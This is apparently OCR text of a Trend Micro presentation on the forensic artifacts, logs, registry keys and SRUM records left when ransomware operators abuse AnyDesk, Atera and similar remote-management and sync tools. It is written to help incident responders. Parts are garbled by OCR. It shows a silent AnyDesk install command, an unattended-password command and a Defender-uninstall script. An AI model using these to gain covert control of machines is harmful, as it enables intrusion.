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Abuse of Legitimate tools

» Attackers of Human Operated Ransomware tend to abuse
legitimate tools for defense evasion.

* Tools intended for commercial use are currently
experiencing a marked increase in abuse.

Category of legitimate tools

i lcategory  Joample  NECAECT
1 MS Native Tools PowerShell, PsExec, WMI, MSBuild, ...

2 Pentest Tools Cobalt Strike, Mimikatz, Bloodhound, J

| 3 Commercial Tools AnyDesk, Splashtop, Rclone(MEGA), 4 Our focus on

this presentation

AV products are making
effort to detect them.
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Commercial tools

* Commercial tools are typically used in enterprise daily
operations, making them challenging to detect at incidents.

* Due to their multifunctionality, those tools appear to be
convenient for attackers to perform various activities.

* Tend to be abused at the following tactics.

MITRE Tactics Abused tools

[TA0O011] Command and Control RMM Tools
[TA0010] Exfiltration SYNC Tools
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Commercial RMM tools

* Once RMM agent program is installed/executed on victim PC,
an attacker will be able to remotely control the PC through
relay servers as if accessing via Remote Desktop.

* Majority of tools have multiple features such as
script/command execution, file transfer, task manager, etc..

RMM Agent RMM Server

A\ ® o
/m\ Callback: D :Control @Z| |

Victim Relay Server Attacker




Commercial SYNC tools

 Command-line/GUI based tool which syncs specific files or
directories to cloud services or directly to target machines.

@
— MEGA
WWW AIRY, L

download —Q=

| 33 Dropbox
Cloud storage Attacker Google Drive Amazon S3 % P
—
upload — upload C.) RCLONE {) GoodSync &

(cloud storage) (P2P)

Client tool ©) MEGA TOOLS ‘ﬁ“’.ﬁ'ﬂﬁﬁﬂ o

Victim
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Incident case example (case#l)

Tactics

Procedure —> —

WWW Relay Server

Initial Access

Defense Evasion Kill AV via legit driver

LAN

Exfiltration

Impact Babuk Ransomware
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265

Attacker

O¢=To I WAY-IT I Mimikatz
. 1.The victim unintentionally E|:|
Dlscovery Advanced IP Scanner installed attacker's Atera agent E
VIR T\YET I\l PsExec, RDP ! /0) 9/ g
C&C Atera, L & AI=ro e > /:.Lateral >
Remote Utllltles e RemoteUtilities Encryption
Patient 0 Server

2.Attacker install Remote Utilities



Incident case example (case#2)

Tactics

Initial Access
Defense Evasion
Credential Access
Discovery

Lateral Movement

C&C
Exfiltration

Impact

Procedure

VPN

Disable AV
Mimikatz

NW scanner
PsExec, RDP
Ngrok, AnyDesk
Rclone->MEGA

BlackCat
Ransomware
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—

—>

wWwWw Relay Server

LAN

ven

2y

1.Initial access
by SSL-VPN

265

Attacker
A

(3]

3

9> AnyDesk

Patient O

2.Attacker install
AnyDesk & Ngrok

ngrok

Avomotve o Eaupm

Servers ¢, RCLONE

3.Lateral > Exfiltration

> Encryption



Incident case example (case#l)

F¥Windows¥Prefetch
FWindows¥Temp
HFWindows¥Temp
KWindows¥Temp

¥Program Files

H¥Program Files¥ATERA Metworks

Property(N):
Property(N):
Property(N):

Property(N
Property(N
Property(N
Property(N
Property(N

Property(N):

Property(N
Property(N
Property(N

Property(N

MSIEXEC.EXE-CDEFCOF7.pf
AteralUpgradeAgentPackage
SetupxBd.msi

I AteraSetuplog txt I
ATERA MNetworks
Aterahgent

TALLFOLDER = C:\Program Files (x86)\ATERA Networks\AteraAgent)\
ndowsFolder = C: NDO¥
ATERA = C:\Program Files (x86)\ATERA Networks\
ProgramFilesFolder = C:\Program Files (x86)\
LUSERS = 1
REINSTALLMODE =
nufacturer =

damus
Atera networks
ProductCode = {44A2D24A-2811-4an° o842 nceasacaanncy

ProductlLanguage = 1033 Attacker’s

ProductName = AteraAgent .
ProductVersion = 1.8.2.3 email address
= .35 ; PREVIOUSFOUN

SecureCustomProperties NETFRAM
p.pl

INTEGRATORLOGIN = |

IX_UPGRADE_

: COMPANYID = 2

N):
Property(N
Property(N
Property(N):

ACCOUNTID
PackageCode = {2B8E@DIC-FD18-425:
ProductState = 5
UPGRADINGPRODUCT:
CLIENTPROCESS
LIENTUILEVEL =
REMOVE = ALL
PRODUCTLANGUAGE =
VersionDatabase
VersionMsi = 5.00

~=.FRQINS74A1 Fn?}
Atera RMM
Account ID
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"XUserProfile%

[CreateProcess] ClasSvc.exe:1760 >

Shell\ClasSvc.exe -run_agent -second"

[Child PID: 652]

[CreateFilel ClasSvc.exe:652 > %AopData%\Remote Utilities

Agent\Logs \rut_log_20J . html

[SHA256:

a8ft (ure)

2022--- €75 96 Relay ncde
-2022--+ sl Date&Time of

Remote connec

"

v

N
\

Attacker’s

Global IP




Purpose of this presentation

D To clarify artifacts useful during investigation

D To clarify methods to prevent malicious activities

gkt
& M=ro ¥ AnyDesk *SP’QSMOPQ TeamViewer @

gRemoteUtiIities® M‘CONNECTWISE’ LogMe® @SupRemo I‘IgI’Ok

Be Limitless.

Target SYNC tools ‘Fﬁ —
C.) RCLONE €)MEGATOOLS *Vy.e!'liﬁﬂ ¥) GoodSync = i @F"ezma
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Artifacts useful for investigation




Verification Environment

* Artifacts left during installation and execution of each tool features
were investigated.

* Only artifacts that are useful during the investigation are referred on
this document, rather than a comprehensive list of all the artifacts.

» Verification was done with the latest version of each tools as of
December 2022, and under the highest “free” license tiers.

* Only the artifacts on the client(victim) machine were investigated.

* |f the tools is multifunctional, only the features that an attacker is likely
to abuse are verified.

* Verified on a Win10 environment. Other versions and OS are out of scope.
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Common useful artifact: SRUM

e System Resource Utilization Monitor

* Windows feature that tracks application usage, network
utilizations, and performance information.

* Very useful artifact for both RMM and SYNC tools to locate...
1. When the tool was executed (approx. time)
2. How much data was sent/received with the tool
»Date/Time when the attacker was active

» Amount of data which may have been exfiltrated




Common useful artifact: SRUM

e SRUM collected from IR case where Atera RMM was abused.

Id ~| Timestamp - | Exelnfo x| SidType -~ | Sid +|Appld [+|BytesReceiv{~|BytesSent [+|InterfacelLuid[~|InterfaceType -
80000 2022/9/24 3:55 pte _ 70952 913 0 1.6894E+15IF_TYPE_ETHERNET CSMACD
801386 2022/9/25 13:55 AteraAgent ] /o2 F%';g o 'znstﬁi"w 70952 912 0 16894E+15 IF_TYPE_ETHERNET_CSMACD
803969  2022/9/27 2:57 AteraAgent on ep-24™ 70952 3510 1282 1.6894E+15 IF_TYPE_ETHERNET_CSMACD
806517  2022/9/27 22:55 Aterahgent  LocalSystem S-1-5-18 70953 341758 200173]  1.6894E+15 IF_TYPE_ETHERNET_CSMACD
806656  2022/9/28 0:04 AteraAgent  LocalSystem | S-1-5-18 70953 586604 363372  1.6894E+15 IF_TYPE_ETHERNET_CSMACD
806671  2022/9/28 1:04 AteraAgent  LocalSystem |S-1-5-18 70954 580738 374520 EMACD
806714  2022/9/28 2:04 AteraAgent  LocalSystem S-1-5-18 70953 575650 372391 # The attacker became active ky;cp
806745  2022/9/28 3:04 AteraAgent  LocalSystem S-1-5-18 70953 579891 373171| 1] Petween Sep-27%and 2872 ko
806776  2022/9/28 4:04 AteraAgent  LocalSystem |S-1-5-18 70954 585094 374233 1.6894E+15 IF_TYPE_ETHERNET CSMACD
806805  2022/9/28 5:04 AteraAgent  LocalSystem | S-1-5-18 70953 579861 373872]  1.6894E+15 IF_TYPE_ETHERNET_CSMACD
806837  2022/9/28 6:04 AteraAgent  LocalSystem |S-1-5-18 70953 582538 372941  1.6894E+15 IF_TYPE_ETHERNET_CSMACD
806867  2022/9/28 7:04 AteraAgent  LocalSystem S-1-5-18 70953 579874 372420  1.6894E+15 IF_TYPE_ETHERNET_CSMACD
806896  2022/9/28 8:04 AteraAgent  LocalSystem | S-1-5-18 70953 177484 115087]  1.6894E+15 IF_TYPE_ETHERNET_CSMACD
810381  2022/10/20 4:03 AteraAgent  LocalSystem |S-1-5-18 70952 513 0  1.6894E+15 IF_TYPE_ETHERNET CSMACD
819243 2022/10/21 13:52 AteraAgent  LocalSystem | S-1-5-18 70952 912 0  1.6894E+15 IF_TYPE_ETHERNET_CSMACD
844632 2022/10/26 19:36 AteraAgent  LocalSystem |S-1-5-18 70952 912 0  1.6894E+15 IF_TYPE_ETHERNET_CSMACD
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Common useful artifact: SRUM

e SRUM collected from a terminal where data exfiltration via
FileZilla was attempted.

iSRUM T SREUNM ENTREY CREATION |~ Application 1| User 51~ | Bytes Sent | * Bytes Received |~

a1 Br 2082/89/15 1 5:35|¥pmgram files¥filezilla ftp client¥filkezilaexe 5-1-5-21 1145463 11825
875 2022/8916 144 ¥program files¥filezilla ftp client¥filezillaexe S—1-5—21 2005 390
Eﬁ/\ 20221010 415 ¥program files¥filezilla ftp client¥filezillaexe 51 —5—21' 5026306020 11772532 I

Filezilla was firstly executed /\

on 2022 Sep-15t?

Appox. 5.5GB was sent
on 2022 Oct-10t
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Common useful artifact: EID 4688

 Windows Event ID: 4688(Security.evtx) is recorded
with command line when new process creation is detected.

 Must be carefully considered as Security.evtx could be overwhelmed
— EDR or Audit trail tools can be other options.

4688 is referred on this document only when other useful artifacts were
not found.

Creator Process Name: C: ¥Windows¥System32¥cmd.exe
Process Command Line: megatools.exe put 2.txt
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Tools Verification - AnyDesk

g

BlackByte, BlackCat, Cartel,

Conti, Karakurt, LAPSUSS,
Quantum, Royal, Somnia
Relay Direct

Install Portable

Target RMM tools

& NA=ra

g RemoteUtilitie

9> AnyDesk a\'sploshfop" TeamViewer ﬁ
s” mmCONNECTWISE' LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS Eﬁli‘.iﬁfr ) GoodSync E? Eﬁlezma

18 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.




AnyDesk : Artifacts

Installation Client program installation to the victim machine

e Support GUI and Command Line installation

9> AnyDesk I FTLLMERE = ® - o

- x

] B =

Free license (non-professional use). Start trial license Ff=t buy.

COI-IAR—A 919 ) D [ Invite

News

ﬁé[tés:l;-‘;m AnyDesk® 1 Ab—ILTD

Check out the most interesting
new features in this release.

GUI Installation

Command Line Installation

Command
AnyDesk.exe --install “%ProgramFiles(x86)%¥AnyDesk” --start-with-win --silent
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AnyDesk : Artifacts

Execution/Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

%ProgramFiles(x86)%¥AnyDesk¥*
%ProgramFiles%¥AnyDesk¥*

[Install] %ProgramData%¥AnyDesk¥*.conf
[Portable] %APPDATA%¥AnyDesk¥*.conf

.ancl.cached config=AAUAAAABAAAAAAAAAAAAAAAA

Program Files [x88) " &

anp

AnyDesk B AnyDesk.exe .anynet.alias= ‘
Comman Files .anynet.cur_version=30064836615
Ela .anynet . fpr=86b84acf8036dc3d30848b907104a911975e6213
E— .anynet.id=495 N
2 .anynet last relay relay 59657f5a.net.anydesk.com:80:443:6568

e e D 8D 8907576
AnyDesk ID to connect from a remote machine

FQDN of last connected relay server

el
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AnyDesk : Artifacts

Execution/Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others
@D » [ System.evix (EventID: 7045) |

HKLM¥System¥CurrentControlSet¥Services¥AnyDesk
* DisplayName: AnyDesk Service
* ImagePath: “%ProgramFiles(x86)%¥AnyDesk¥AnyDesk.exe” --service

[#5] swchost.exe 10660 1.50 MB B LUAN TF45-
| g AnyDesk.exe I 5500 21.63 MB TrIUP BEE BTV BREAUA) ALTH)
y osheve ENGE 142 ME :I)::l—5'—¥HKE\."_LOCAL;MACHINE¥S\"STEM¥CurrentControlSet¥5emce5¥An}fDesk
a . - am . it ~ =
- "C:¥Program Files (x86)¥AnyDesk¥AnyDesk.exe" --service § Py 5 e
Processes persists | File: . ) EE) REG 57
Hes amdxata 3}_’] .
i o - DependOnService REG_MUL
on victim C:¥Progra . El¥AnyDesk.exe i+ | AnyDesk 5] Description REG 7
= . Service Name .|| AOTAgentSve P -
b= fontdrvhost.exe AnyDesk I AppiD a5 DisplayName REG_SZ
B e C sor— - 24| ErrorControl REG_DWC
P Aryleck Go re GrinhH . || AppiDSve LﬂFrfo ontro 2
Q Fr— Appinfo ve| Failurefctions REG_BINA
. Services: PP -
winlogon.exe . . - applockerfitr ab]ImagePath REG_EXP2
AnyDesk (AnyDesk Service) . Il AppMomt 35| ObjectName REG.S7
EI fontdrvhost. exe Motes: AppReadiness f;'_é]Start REG_DWC
5= dwm.exe Signer: philandro Software GmbH AppVCient fﬁ]T‘:‘PE REG_DWC
rﬁl.lrﬁle - "“"-"i"‘l'l' 'E'I""i"E" exe (680 AppvStrm 459]WOW64 REG_DWC
explorerexe -onsole application: SEnVICes.ex U] 1 MY
Process is 32-bit (WOWa4), 1
4

Health Sy stra preee ST e .
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AnyDesk : Artifacts

Execution/Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

Log File
[Install] %ProgramData%¥AnyDesk¥ad_svc.trace
[Install/Portable] %APPDATA%¥AnyDesk¥ad.trace

info
info
info
info
info
info
info
info
info
info
info
info
info
info
info
warning
warning

o

cheduler pawning child fi

nnector

nnector

finder pping -

nnector - Connecting to relay
_connector pping ¢ nd)
_connector pping conne z d conne y [ ) (no proxy found)
connector pping od sock ) (no proxy found)

ng IP
rocess start: 46

fiber.scheduler - Fiber 9 terminated. ad— VC.trace/ad.trace

o

oL oLown oL

DD O EE A

un

un
el [ e e S St S (el e (e | R

FQDN of connected relay server
IP address of relay server

¥

1
1
1
1
1
1
1
1
1
1
1:
1
1
1
1
1
it

LR ELET T

vin.upnp_config - 1 tim No port mapping collection (@
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AnyDesk : Artifacts

Execution/Installation Client program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

*_net.anydesk.com: 443,80,6568

Processes Services MNetwork Disk Leneth b
Mame Local address Local... Remote address Re.. Pr.
AnyDesk.exe (5500) FoTo TCP
AnyDesk.exe (5500) 51588 TCP
AnyDesk.exe [5500) 51566 relay-67f39bal.net.anydesk.com 443 I TCP
AnyDesk.exe (5500) 50001 UDp

FW rule for AnyDesk; Link

Ports & Whitelist Dst port 443/tcp will fail over
AnyDesk clients use the TCP-Ports 80, 443, and 6568 to establish connections. It is however to 80, 5655 if blocked
’

sufficient if just one of these is opened. (443 =80= 6568)

AnyDesk’s “Discovery” feature uses a free port in the range of 50001-50003 and the
IP 239.255.102.18 as default values for communication.

It can be necessary to whitelist AnyDesk for firewalls or other network traffic monitoring
software, by making an exception for: “*_net.anydesk.com”
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https://support.anydesk.com/knowledge/firewall

[ ]
AnyDesk : Artifacts
Control the victim machine as if accessing via Remote Desktop

&> AnyDesk [ FTLLVER = e _

Input Target(Victim) AnyDesk ID

@) AnyDesk [ 919 ()

® - ¢
) X # BODOB 4= L

o 919 =
L o  Invi
LCD 'j OX‘(\ X 7 9 5 ® ﬁ Invite Free license (non-professional use). Start trial license F/z(% buy.

I x

News mhntyia 88

News

BEEE
O- A4y bO—JADIEND

AnyDesk 7.10
FregREE ?
AnyDesk54 7> b B EIRY(CiE
LT,

Check out the most interesting
new features in this release.

Target monitor screen appears
on the console and able to control
*Copy-Paste b/w hosts-client is available
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AnyDesk : Artifacts

Feature: Remote Access Control the victim machine as if accessing via Remote Desktop
Useful Artifacts Files Registry Process/NW Others

Log File
[Install] %Programdata%¥AnyDesk¥ad_svc.trace
[Portable] %APPDATA%¥AnyDesk¥ad.trace

z ad_svc.trace/ad.trace
Spawning root fiber —

anynet.any ' Accept Tiber spaw

AnyDesk ID of Remote machine (attacker) anynet.any_socket - Accepting from 795 -

. ﬂ[l:,-'[ll:L.ﬂll % I“.EL['J.:\_-'J.[IE LLLIEnL Lnie ma L10n.
Global IP address of Remote machine (attacker) . unavailable (6).
Private IP address of Remote machine (attacker) 2

En!.-’rl [ ! g & MNEW connect
Spawning root fiber
Accepting the connect request.
- . -
fiber.scheduler
anvnet.ounch co
anynet.punch_connector pawning: 18.8.8.44:
Tlber.scheduler - Spawnlng chlld Tlber Zd (parent 24).

info
info
info
infe

@) TREND:
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AnyDesk : Artifacts

Feature: Remote Access Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

Log File

[Install] %Programdata%¥AnyDesk¥connection_trace.txt
[Portable] %APPDATA%¥AnyDesk¥connection_trace.txt

connection_trace.txt

connection_trace txt [x]
Incoming 2022-12-14, : 2 yser
Incoming 2022-12-14, : Passwd
Incoming 2022-12-14, : Passwd
Incoming 2022-12-14, : Passwd
Incoming 2022-12-15, : Token
Incoming 2022-12-15, : Token

Date/Time of remote access
2. Authentication Type

. User: Click the "Accept" button on the client side (victim)

. Passwd: Connect by entering the password on the remote machine (attacker).

. Token: Connected with stored password.
AnyDesk ID and alias of the connection source (attacker)
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AnyDesk : Artifacts

Feature: Remote Access Control the victim machine as if accessing via Remote Desktop

Useful Artifacts Files Registry Process/NW Others

Log File

[Install] %Programdata%¥AnyDesk¥connection_trace.txt
[Portable] %APPDATA%¥AnyDesk¥connection_trace.txt

) AnyDesk (] Targett

L]

@) AnyDesk [ Administrator _ o %

Administrator
. (795 )
v would like to view your
desk.

ez

450,

Connect by inputting the password
on the remote machine (attacker)

Profile

Default

Click the "Accept" button on
the client side (victim)

Connected with stored password

Remote (Attacker) Client (victim)
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AnyDesk : Artifacts
Set password for Unattended Access on command line

« Password for unattended access can be set on command line
* Administrative privileges required

Password for remote connection can be set on command line
Command

echo <Password> | AnyDesk.exe --set-password

Useful Artifacts Files

Registry Process/NW Others

EventlLog
Security.evtx (Event ID: 4688)

SOt JOtAR
wLFOER D I 20b8 wLLGFOER I lx27al

HMLNIOFAE C¥Windows¥Syetem3Bomd exe

o= RABMIERE 41937

SREETA | Marndatory Label¥High Mandatory Level
PERR RO ID: 0x3efe

FOEADITE 34 Ceiindows¥system3Momdexe /5 /D /c” echo Passwordl! * I

bSO BAEMIERRL. 2 - - TR MRl 2 (TR LT D EACEN ST -0 0iERE
TLEd.
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RRLIVIOTEAE:  C¥Program Files (xB6)¥Any Desk¥ Any Dezk exe
b= BARDIERR 1937

BT Mandatory Label¥High Mandatory Level
PERSFC O 1D Oxdebe

FOEADOTAE 31 Ay Desk exe —-set-password

b= BAROIERR. 3 — T R 2 - (e TER LT DR ALCEIN S TENE F—DA07E
HETLES.




[ ]
AnyDesk : Artifacts
Set password for Unattended Access on command line

Useful Artifacts Files Registry Process/NW Others
Log File
%APPDATA%¥AnyDesk¥ad.trace Log when setting password on command line

- : ad.trace
cmdif_p 36 main

cmdif_p main
cmdif_p ma1n

cmdif_p
cmdif_p
cmdif p 836 base.data.config application

[Install] %ProgrambData%¥AnyDesk¥service.conf and system.conf
[Portable] %APPDATA%¥AnyDesk¥service.confand system.conf

.anynet.cert=--- * .security. permission_profiles._de-Fault.per*missions.
.anynet.pkey=----- BEGIN PRIVATE .security.permission_profiles. unattended access.permissions.sas=1
.anynet.pwd_hash=c5ac388cdecf363’ .security.permission_profiles. unattended access.pwd=c5ac388cdect3(;
.anynet.pwd_salt=8@8blcee2aea3b5’ .security.permission_profiles._unattended_access.salt=808blcee2aea’
.license.state_store=:{10 guamy - - — — . il

If a password is set, the hash will be listed in the config.
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[ ]
AnyDesk : Artifacts
Transfer specific files between client(victim) and server(attacker)

#> AnyDesk [ 430 O o = m| X

© 3 450 22 «#(BA)DOBE 4e v EL

[l Administrator (795 ) e john (450 ) )
PSRN = ¢ | -
COTITAR X o H X VE-F7/{12 R4
< T @ U |C\Users\Administrator\Documents < T o O C\Users\john\Documents v
Bl ~ AT HA4Z FEH Bl ~ AT H1Z FEH
My Music 2022/11/24 19:02:29 My Music 2022/01/31 20:05:34
My Pictures 2022/11/24 19:02:29 My Pictures 2022/01/31 20:05:34
My Videos 2022/11/24 19:02:29 My Videos 2022/01/31 20:05:34
\

Possible to transfer files

30 | Copyright © 2023 Trend Micro Incorporated. All rights reserved.



[
AnyDesk : Artifacts
Transfer specific files between client(victim) and server(attacker)

Useful Artifa Files Registry Process/NW Others

Log File

%APPDATA%¥AnyDesk¥ad.trace

inf =1l 7 84 11 7 ctrl 3 app.file oroer
app.local file tra
app.local file tra
clipbrd.captu

. . app.tunnel ft 5 v
Upload file from remote machine(attacker) g —— Preparing files i john\Documents

Download file from client machine(victim) SRl e (B Preparation
Delete file from client machine(victim)
*Only file path but the file name is not showed

inT 1 04 .¥bs CIrL 240 app.file proer hub

info 7 ctrl E i app.deleter

info 112:18. ctrl app.prepa ¢ - Preparing fil \
info 7 ctrl 7 app.local file t Preparation of 1 files comp
info 7 ctrl 7 app.deleter - Deleting 1 files.

info 7 . ctrl 2 7 app.deleter - Completed.
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Tools Verification - Atera

Babuk, Black Basta,
E— BlackCat ,Conti
|

Relay Direct
|

Install Portable

Heht
& M=ro ¥ AnyDesk a\’ splashtop TeamViewer @

gRemoteUtiIities® m"CONNECTWISE' LogMe@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools
C.) RCLONE €)MEGATOOLS Eﬁli‘.iﬁfr ) GoodSync E? Eﬁlezma
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[ ]
Atera: Artifacts
Agent program installation to the victim machine

* A msiinstaller will be obtained from attacker’s tenant, thus no authentication is
required during installation.

* Splashtop is bundled with atera installer in default.

WA = AN New v Q, search v Install agent * S A 4 A

80 Dashboard Thanks for trying Atera. You've got 30 days left in your trial Subscribe now

Tickets

Download agent installer

An installer can be
© seiectos amestyf downloaded from the tenant

Downig#
O Download

~ Other options

Devices

Customers

Devices Default view

Install via the Command Prompt using this script (run as admin)
' (EERY | ‘
Alerts curl -o setup.msi "https://HelpdeskSupport80562612..
Details Availability Alerts Available Patches Remote Access Actions

App Center
Share the installer download link with the end user

Network Discovery https://HelpdeskSupport885626124.servicedesk.atera..

@ Online 4 Manage (8) ® X Connect |+ Y Manage v )
CriticalWarning Info N AN

29,2022 10:44:49 7

Knowledge Base

Reports

{ cancel ) ( Back ) m
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Atera: Artifacts

Installation Agent program installation to the victim machine
Useful Artifacts Files Registry Process/NW Others

%ProgramFiles%¥Atera Networks¥* or %ProgramFiles(x86)%¥Atera Networks¥*

Log File

%windir%¥Temp¥AteraSetuplLog.txt

=== Ve ing 29:19:25 Build type: SHIP UNICODE 5.80.18011.88 Calling process: C:\Window

61 [28:18:
) [20:18: Date/Time of successful installation

1
2.  Attacker’s email address and account ID
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Atera: Artifacts

Installation Agent program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others
@I » [ System.evtx (EventID: 7045) ]

HKLM¥System¥CurrentControlSet¥Services¥AteraAgent

* DisplayName: AteraAgent
* ImagePath: %ProgramFiles%¥Atera Networks¥AteraAgent¥AteraAgent.exe

HKLM¥Software¥Atera Networks¥AlphaAgent

IVK 1-5-¥HKEY_LOCAL_MACHINEYSOFTWARE¥ATERA Networks¥AlphaAgent

cA L &R &8 7-5
b FEE) | REG_S7 (EOBELL)
ab| Accountld REG_SZ 0013200002tFymtAAC I
ab| Agentld REG_SZ qMtvTBITnZTkhOWFvgt1UOIF+mBcel8NRXLOw3kyVZsDlu/...
| Companyd REGSZ ! 1. Acount ID of attacker’s Atera tenant
ab| DisableRemote REG_SZ False , .
ab||ntegratorLogin  REG_SZ '~ @outlook.com | 2. Attacker’s email
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Atera: Artifacts

Installation

Agent program installation to the victim machine

Useful Artifacts

Files

Registry

Process/NW

Others

[5] Ateradgent.exe

2472
2480

Processes persists

MB  AteraAgent

(5] AteraAgent.exe (2472)

[8] SSUService.exe on victim 5 Updater 5.,
¢ @ SRService.exes 2728 0.33 174 IP/Portthatthe [erService
v ozl QRI‘U‘IHanF-EF-wP O70R n.os £5] process access to jer SRMana..
Name i E Local address  Local.. Remote address  RemW™ Prot.. State Owner
[] AteraAgent.exe (.2"2)' EEEEEEEEEEEEEEE 55998" 18.179.18.154 443 TCP Established IAteraAgent

53399 18.179.18.154

a3 1CP

Established AteraAgent

Domain Name System (response)
~ Answers

\lame: ps.pndsn.com

Type: A (Host Address) (1)

Class: IN (@xB@81)
Time to live: 388 (5 minutes)

ype A, class IN, addr 18.179.18.153
ype A, class IN, addr 18.179.18.155

Datg lensth: 4
--u-l Address: 18.179.18.155 |1..............................1
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%ProgramFiles%¥Atera Networks¥ATERA Networks¥AteraAgent¥AteraAgent.exe

*  ps.pndsn.com: 443
* * atera.com: 443
FW rule for Atera; Link



https://support.atera.com/hc/en-us/articles/360015461139-Firewall-Settings-for-Atera-s-Integrations

Atera: Artifacts

Installation Agent program installation to the victim machine

Useful Artifacts Files Registry Process/NW Others

EventlLog

Application.evtx (Event ID: 0, 1033, 11707)

ARUb 1033, Msilnstaller X A A%k 11707, Msilnstaller x
EX EX
Windows 1 2 M—5—(Z&NBIGH VA F=ILENELE, RiGoR: Aterafeent. RIS/ 13- 1831, Bls Product: Aterafigent —- Installation completed successfully.

(DEES: 1033, BhH37T: Atera networks, A A b=)LOFINEEITS—DIARE: 0

05 D&HI(M): Application 05 MEFI(M): Application
Y=A(S): Msilnstaller QDE(DBHZD; 2022712726 21:30.08 | Y=A(S): Mzilnstaller o OJMBFTD:  2022/12/26 21:30:08 |

AR b ID(E): 1033 BADOHTIVCY): 2L A A ID(E) 11707 BAAMHTII: BL
LAJLL): 1&3R F—0—R(K): ) LAILLY: &R F == (K} Haouh
2-H—(U) P21 -2-(R) 2—H—(U) s -2—(Rx

b ot i (0) AAT—FO)

SESBIRER(D: AR 0SOAILT FERBIEFR(D: AAE nSOsLT

1. Date/Time of agent installation
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Atera: Artifacts

Atera features Features that attackers are likely to abuse during intrusion

Remote Access Remote access to victim using Splashtop, AnyDesk, etc.. v
Software Inventory  View and remotely uninstall software on victim machine Only 4688 Security Event
Run Script Run any or build-in bat/ps1 scripts on victim machine v
Service Manager Start, restart, or stop any services on victim machine Only 4688 Security Event
Task Manager View and end any tasks on victim machine Only 4688 Security Event
Command Prompt Control command prompt on victim machine and run any commands Only 4688 Security Event
PowerShell Control PowerShell on victim machine and run any commands v
File Transfer Send/Receive any file between attacker and victim Only 4688 Security Event
Event Viewer View Windows Event Log on victim machine Only 4688 Security Event

Registry Editor View and edit registry on victim machine Only 4688 Security Event
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[ ]
Atera: Artifacts
Control the victim machine as if accessing via Remote Desktop

DA=ra New ~ Q, search ~ Install agent * S A A

3 Dashboard Thanks for trying Atera for IT Departments. You've got 30 days leftin your trial

2] Tickets
' Devices

Atera employs 3" party tools for remote access, et m T
thus the artifacts will be the same with those
generated by the corresponding tools.
M Alerts Details Remote Access Actions
App Center e R
U ) od @ Online - . . . £ Manafje (8) "\..}c Connect |~ ) ( .Manage )

_4 Network Discovery

& Splashtop [ FREE
Knowledge Base
# AnyDesk | FREE

Reports B TeamViewer

L T ScreenConnect
Admin s ¢

Manage Remote Access
Refer a Friend
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[ ]
Atera: Artifacts
Run specific bat or ps1 scripts on victim machine

Run Script on

Uninstall Windows Defender (copy)

My Scripts (3) Shared Script Library (794) ﬁ Build-in scripts are also provided Uninstalls Windows Defender

e = Category: Cloned Scripts
Create script

File type: .ps1 Run as: System Max run time: 10 Variables: No

ﬁ Manual script creation is supported

Author: Upload date: Clones: b Vote: (-)
Category Name Description Run as Type Variables Actions
All v 2 2 | 1 Uninstall-WindowsFeature -Name Windows-Defender
2 Sleep 120
3 Restart-Computer -Force
k Battery Healtt y energy-efficiency and battery life ystem bat View Rl
E
M
.
-
.IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII.
tem bat N Vlew Run
0]
-
fender System psl N¢ View ) Run
Close
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Atera: Artifacts

Feature: Run script Run any or build-in bat/ps1 scripts on victim machine

Useful Artifacts Files Registry Process/NW Others

[ps1] Windows PowerShell.evtx (Event ID: 400) [bat] Security.evtx (Event ID: 4688)

¥ wa /\ e

[T AN None -
. H . s e Ul
L. Microsoft-Windows-PowerShell/Operational.evtx tRa5 D SwTEM
NewEngineSt} . . THOUME
reviestred (Event 1D: 4104) will be also recorded with the g Rt T
ssaencehd - content of ps1 if PowerShell script block is enabled. -k 47520k
H2UFs I RULL 50D
Hosth PHIE =
HostVersion=5.1.17763.592 THIA s -
e T b LT sl -
Hostépplication=powershellexe —File G¥Program Files (xBE)¥ATERA Networks¥ Aterafgent¥Packages
AgentPackageSystemTools¥ def46bea-e08 1-460a-637 16202555 1 1a76 Lninstall Windows Defender (copy)ps1 ?Dﬁfl::umm o e
Fun 1 'I53‘1.::ES-8.?3’ 4860-b52f-f 1202545088 ?ﬁ;ﬁ;ﬁg&w:l&-aemaﬂcm“e
;:.:m;am: LRI e Mandatary LabeMWSystem Mandatory Level
Gm_nmandva: FEERLTOEAE C¥Program Files (xB6¥ATERA Networks¥Ateradgent¥Packages
ScriptMame= Aot T l =
CammandPath= 20EA0TTE 54 C¥Windows¥system32icmdexe /o ** C¥Program Files (x86WATERA Matworks
CommandLine= hs WA 0fb la=e260-43a 18145  Wlregistry (copy)bat™
DU qEHIM: Windows PowerShell
i £207
B e Geice=]) ) | MR S Iy f{;ﬁ}ﬂm -:u:::;:wm: securityp DIOBNO)N  2022/12/27 153810
A& IDEX 400 = : — —
LAIULY R FD-EK:  h5uwh . . P
25 WA TR 1.  File name of the script N
FAI- RO} o . . .
oA i) 2 Date/Time of script installation
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Atera: Artifacts

Feature: PowerShell Control PowerShell on victim machine and run any commands

- PowerShell - X

Windows PowerShell

Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Wind whoami
nt authority

PS C:\Window em32> . e
> b nde Take victim’s PowerShell and run commands

Close Go to Agent ) Clear
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Atera: Artifacts

Control PowerShell on victim machine and run any commands

Useful Artifacts

Feature: PowerShell

Files Registry

Process/NW Others

Log File

%ProgramFiles%¥ATERA Networks¥AteraAgent¥Packages¥AgentPackageRunCommandinteractive¥log.txt
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amOutputAndWrite Mes Pow

: hoami

: nt authorit

1. Executed PowerShell command and date/time
2.  Response of the command




Tools Verification - CONNECTWISE

7v\w CONNECTWISE

Install Portable

Heht
& A=ra 9> AnyDesk X splashtop  [©) Teamviewer @

gRemoteUtiIities® m‘CONNECTWISE’ LOQMG@ @SupRemo I‘IgI'Ok

Be Limitless.

Target SYNC tools |
C.RCLONE ©michtools W™ G Goodsye f [




ConnectWise : Artifacts
Client program installation to the victim machine

 Both exe and msi installer will be obtained from attacker’s tenant,
thus no authentication is required during installation.

D_| Access re WIN
Build Installer X

Install an agent and connect to unattended devices. [~
